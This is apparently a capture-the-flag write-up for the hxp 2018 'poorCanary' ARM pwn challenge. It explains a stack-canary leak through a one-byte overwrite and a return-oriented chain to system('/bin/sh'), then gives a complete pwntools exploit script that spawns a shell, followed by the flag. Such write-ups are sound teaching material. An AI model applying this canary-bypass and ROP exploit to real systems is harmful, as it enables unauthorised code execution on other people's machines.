Post

Hxp 2018 poorCanary

Hxp 2018 poorCanary

Information

  • Category: Pwn
  • Points:

Description

None

Write-up

To run the program, we need qemu-arm:

1
2
3
4
5
6
7
qemu-arm canary
Welcome to hxp's Echo Service!
> 21321312
21321312
> AAAAAAAAAAAAa
AAAAAAAAAAAAa
>

To install it on Arch Linux sudo pacman -S qemu-user and yay -S arm-none-eabi-binutils arm-none-eabi-gdb

In the main function, we can see that it uses read() to get input from the user into the variable input + 1, and then uses puts() to print it:

To bypass the canary, we need to know how far it is from our input. The input buffer is 41 bytes, but the program writes to input + 1, so we control only 40 bytes of it.

The canary comes right after the buffer. If we send 40 bytes, then send 1 extra byte, we can overwrite the first byte of the canary — which is normally 0x00.

This small overwrite lets puts() print the rest of the canary. As a result, we can leak 3 bytes of the canary, and later use them to rebuild the full canary (by adding 0x00 as the last byte).

In Ghidra, we can find the system function and also the string "/bin/sh" in memory. So we can call system("/bin/sh") to get a shell.

Now we just need a gadget to set r0 (the first argument in ARM) to point to “/bin/sh”. For example, a gadget like pop {r0, pc} would work.

Finally, we calculate the offset from the buffer to the return address, so we can:

  • Fill the buffer
  • Add the canary
  • Add padding
  • Overwrite the return address

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3

from pwn import *

exe = ELF("./canary")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 4422)

    return r

def leakCanary(r):

    offset = 37
    byteOW = b"Here"

    payload = b"A"*offset
    payload+= byteOW

    r.send(payload)
    r.recvuntil(b"Here")
 
    leak = r.recv(0x3)
    canary = b"\x00" + leak

    log.success(f"Canary = {canary}")

    return canary

def main():
    r = conn()

    pop_r0 = 0x00026b7c 
    system = 0x00016d90
    binsh = 0x71eb0

    canary = leakCanary(r)

    payload = b"A"*40 + canary
    payload+= b"B"*12
    payload+= p32(pop_r0) + p32(binsh)
    payload+= b"C"*4
    payload+= p32(system)

    r.send(payload)
    r.send("\n")

    r.interactive()


if __name__ == "__main__":
    main()

Flag

Flag: hxp{w3lc0m3_70_7h3_31337_club_k1dd0}

This post is licensed under CC BY 4.0 by the author.